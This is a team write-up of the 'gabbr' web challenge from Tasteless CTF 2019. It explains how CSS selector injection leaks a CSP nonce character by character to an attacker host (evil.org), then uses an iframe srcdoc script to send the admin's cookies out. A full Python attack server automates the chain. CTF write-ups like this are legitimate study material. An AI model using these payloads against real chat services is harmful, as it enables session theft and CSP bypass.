writeups/chgue/tasteless19.md

   1 # Retrospective
   2 I spent most of my time working on gabbr (web). I did have a quick look at babypad (crypto), which was solved quickly by someone else, and beyondcorp1 (web) but I didn't try anything substantial.
   3 Working on gabbr on-site with @ph, @stiefel40k and @sumhack was pretty fun and rewarding. This challenge proved that working as a team is necessary for CTF challenges.
   4
   5 All in all he CTF was nice and a great learning experience but a bit short for the amount of challenges that were given. I would have liked to attempt beyondcorp1 but the time ran out.
   6
   7 The gabbr writeup was written together with @sumhack and is therefore identical to his writeup.
   8
   9 Time spent: 5 hours for gabbr, 1 hour scouting other various challenges
  10
  11 # Tasteless CTF 2019 — gabbr (web)
  12 ## Overview
  13 gabbr is an online chatroom service. Upon loading the page, one joins a chatroom specified in the anchor part of the URL e.g. `https://gabbr.hitme.tasteless.eu/#8f332afe-8f1d-411f-80f3-44bb2302405d`. If no name is specified, a random UUID is generated upon join. The main functionality is to send messages in the chatroom. Furthermore, one can change the username to another randomly generated one, join a new random chatroom and report the chatroom to an admin. Upon reporting an admin joins the chat and stays in the room for 15s. Additionally, the chatroom is based on websockets.
  14
  15 ## Exploitation
  16 ### Gathering intelligence (like the NSA 😎)
  17 Messages are not sanitized, i.e. arbitrary HTML can be injected.
  18 However, the CSP policy is rather restrictive:
  19
  20 ```csp
  21 default-src 'self'; script-src 'nonce-cff855cb552d6be6be760496'; frame-src https://www.google.com/recaptcha/; connect-src 'self' xsstest.tasteless.eu https://www.google.com/recaptcha/; worker-src https://www.google.com/recaptcha/; style-src 'unsafe-inline' https://www.gstatic.com/recaptcha/; font-src 'self'; img-src *; report-uri https://xsstest.ctf.tasteless.eu/report-violation; object-src 'none'
  22 ```
  23
  24 Script tags are only executed if the have the correct `nonce` as an attribute. The nonce is generated server-side on every page load and is specified in the CSP as `script-src 'nonce-cff855cb552d6be6be760496';`. This blocks any other attempts and tricks to execute JavaScript like event handlers. So, to execute JavaScript, one needs to know the 24 characters long `nonce` of the loaded page which we obviously cannot trivially obtain from the admin. What we _can_ do, though, is to load arbitrary CSS and images—`style-src` is set to `unsafe-inline` and `img-src` to `*` which allows for interesting attacks.
  25
  26 ### Getting the nonce
  27 After searching on the web for ideas we stumbled upon this article from 2016: https://sirdarckcat.blogspot.com/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
  28 The author describes an attack where one can extract the by using CSS:
  29
  30 * Firstly, one injects a CSS selector which matches the first character of the nonce.
  31 * Upon matching, the CSS selector is set to load a background image from a given URL. Since we know what was matched we can add the matching characters to the request as GET parameters.
  32 * By repeating this process for every character, we can reconstruct the whole nonce with 24 messages.
  33
  34 This fits perfectly since we can inject arbitrary CSS! Therefore, like proper hackers, we copied his scripts. However, the given selectors did not work. Therefore, we began debugging the selectors on our own. After fruitless attempts trying to match the `script` tag using Chrome we noticed something peculiar: Chrome removes the `nonce` from the `script`-tag after it has been loaded. However, Firefox happily keeps the `nonce` in the DOM. Luckily, the attacker uses Firefox as we found out from the admin's user-agent header.
  35
  36 Our first approach was to match the `script` tag directly: `script[nonce^="a"]`. This should match any `script`-tag with a nonce that starts with `a`. However, this didn't work as expected. After lots of trial and error we figured out that you can't directly match a `script`-tag, but you can use it as part of the selector when selecting other elements. Therefore, we decided to use a sibling selector like this: `script[nonce^="%s"] ~ nav`. Since `nav` is a sibling of the `script`-tag this worked perfectly.
  37
  38 Using the above method we can send a message like this:
  39 ```css
  40 script[nonce^="0"] ~ nav {background:url("http://evil.org/?match=0")}
  41 script[nonce^="1"] ~ nav {background:url("http://evil.org/?match=1")}
  42 ...
  43 script[nonce^="f"] ~ nav {background:url("http://evil.org/?match=f")}
  44 ```
  45 which triggers only if at least one element matches the selector (and as such, only the "correct" request is executed). Suppose the first character is `a`, then our next payload is as follows:
  46 ```css
  47 script[nonce^="a0"] ~ nav {background:url("http://evil.org/?match=a0")}
  48 script[nonce^="a1"] ~ nav {background:url("http://evil.org/?match=a1")}
  49 ...
  50 script[nonce^="af"] ~ nav {background:url("http://evil.org/?match=af")}
  51 ```
  52 We can repeat this procedure 24 times to exfiltrate the whole nonce.
  53
  54 We implemented an attack server in python which receives the successful request and sends another message to the chatroom querying the next character as described above. The next payload is sent to the chatroom directly by connecting to the websocket of the chatroom.
  55
  56 However, upon trying it out we noticed that only the first request was being sent. This is because subsequent CSS injections have the same specificity as the previous CSS rules, that means that the background fetching isn't executed a second time. We solved this problem by manually curating a set of 24 selectors from least to most important:
  57
  58 ```css
  59 script[nonce^="%s"] ~ *
  60 script[nonce^="%s"] ~ ul
  61 script[nonce^="%s"] ~ div
  62 script[nonce^="%s"] ~ input
  63 script[nonce^="%s"] ~ nav
  64 body > script[nonce^="%s"] ~ ul
  65 body > script[nonce^="%s"] ~ div
  66 body > script[nonce^="%s"] ~ input
  67 body > script[nonce^="%s"] ~ nav
  68 script[nonce^="%s"] ~ #messages
  69 script[nonce^="%s"] ~ #status
  70 script[nonce^="%s"] ~ #chatbox
  71 script[nonce^="%s"] ~ #recaptcha
  72 script[nonce^="%s"] ~ nav > a
  73 script[nonce^="%s"] ~ nav > #report-link
  74 script[nonce^="%s"] ~ nav > #username
  75 body script[nonce^="%s"] ~ #messages
  76 body script[nonce^="%s"] ~ #status
  77 body script[nonce^="%s"] ~ #chatbox
  78 body script[nonce^="%s"] ~ #recaptcha
  79 body script[nonce^="%s"] ~ nav > a
  80 body script[nonce^="%s"] ~ nav > #report-link
  81 body script[nonce^="%s"] ~ nav > #username
  82 body script[nonce^="%s"] ~ nav > [href="/"]
  83 body script[nonce^="%s"] ~ nav > [href="#"]
  84 ```
  85
  86 Putting it all together we managed to get the complete nonce!
  87
  88 ### Creating an exploit
  89 Now that we have the nonce we can inject `script`-tags which bypass the CSP and will be executed. However, directly ínjecting `<script nonce="...">alert(1);</script>` does not have any effect because the script isn't being evaluated after the page has loaded. Therefore, to bypass this restriction we include the script inside an `iframe` by specifying it as the `srcdoc`. Our final exploit looks like this:
  90
  91 ```html
  92 <iframe srcdoc="<script nonce=...>alert(document.cookie); var x = document.createElement('img'); x.src = 'http://evil.org/res?c=' + document.cookie;</script>"></iframe>
  93 ```
  94 Notice that we are trying to load an image rather than sending a request directly because the latter is blocked by the CSP. Luckily, the CSP allows loading images from any origin.
  95
  96 ### Putting it all together
  97 Our final approach was the following:
  98
  99 1. Enter a chatroom using Chrome so that we are unaffected by the exploit
 100 2. Start the exploit server pointed at the chatroom
 101 3. Report the chatroom and wait for the admin to join
 102 4. Send the initial CSS payload manually through the browser.
 103 5. Let the server handle the rest
 104     1. Wait for an http request from the admin
 105     2. Parse the GET parameter
 106     3. Send the next CSS payload via websockets to exfiltrate the next 4haracter
 107     4. Repeat until we have the whole nonce
 108     5. Send the exploit `iframe`
 109     6. Listen for the request from the admin containing the cookies containing the flag
 110     7. ????
 111     8. PROFIT!!!!
 112
 113 Below is the final script that ran on the server:
 114 ```py
 115 from flask import Flask, request
 116 import sys
 117 import json
 118 import websocket
 119 import string
 120
 121 app = Flask(__name__)
 122 URL = "http://evil.org:5000"
 123
 124 payloads = [
 125         'script[nonce^="%s"] ~ *',
 126         'script[nonce^="%s"] ~ ul',
 127         'script[nonce^="%s"] ~ div',
 128         'script[nonce^="%s"] ~ input',
 129         'script[nonce^="%s"] ~ nav',
 130         'body > script[nonce^="%s"] ~ ul',
 131         'body > script[nonce^="%s"] ~ div',
 132         'body > script[nonce^="%s"] ~ input',
 133         'body > script[nonce^="%s"] ~ nav',
 134         'script[nonce^="%s"] ~ #messages',
 135         'script[nonce^="%s"] ~ #status',
 136         'script[nonce^="%s"] ~ #chatbox',
 137         'script[nonce^="%s"] ~ #recaptcha',
 138         'script[nonce^="%s"] ~ nav > a',
 139         'script[nonce^="%s"] ~ nav > #report-link',
 140         'script[nonce^="%s"] ~ nav > #username',
 141         'body script[nonce^="%s"] ~ #messages',
 142         'body script[nonce^="%s"] ~ #status',
 143         'body script[nonce^="%s"] ~ #chatbox',
 144         'body script[nonce^="%s"] ~ #recaptcha',
 145         'body script[nonce^="%s"] ~ nav > a',
 146         'body script[nonce^="%s"] ~ nav > #report-link',
 147         'body script[nonce^="%s"] ~ nav > #username',
 148         'body script[nonce^="%s"] ~ nav > [href="/"]',
 149         'body script[nonce^="%s"] ~ nav > [href="#"]',
 150         ]
 151
 152 def exploit(nonce, url):
 153     x = """<iframe srcdoc="<script nonce=%s>alert(document.cookie); var x = document.createElement('img'); x.src = '%s/res?c=' + document.cookie;</script>"></iframe>""" % (nonce, url)
 154     msg = {"username" : "aaa", "type": "gabbr-message", "content": x}
 155     print(json.dumps(msg))
 156     socket.send(json.dumps(msg))
 157
 158 def generate_style(c, url):
 159     style = "<style>"
 160     for x in "abcdef" + string.digits:
 161         style = style + ((payloads[len(c)] + '{ background:url("%s/?match=%s") } ') % (c + x, url, c + x))
 162     style = style + "</style>"
 163     return style
 164
 165 @app.route('/')
 166 def handler():
 167     match = request.args.get('match')
 168     print(match)
 169     if len(match) == 24:
 170         exploit(match, URL)
 171     else:
 172         send_req(match)
 173     return "a"
 174
 175 @app.route('/res')
 176 def res():
 177     match = request.args.get('c')
 178     print(match)
 179     return "a"
 180
 181
 182 def send_req(match):
 183     msg = {"username" : "aaa", "type": "gabbr-message", "content": generate_style(match, URL)}
 184     socket.send(json.dumps(msg))
 185
 186 if __name__ == '__main__':
 187     uri = "wss://gabbr.hitme.tasteless.eu/" + sys.argv[1]
 188     socket = websocket.WebSocket()
 189     socket.connect(uri)
 190     print(generate_style("", URL)) # This outputs the initial payload, we did it manually to avoid certain concurrency issues
 191     app.run(host="0.0.0.0")
 192 ```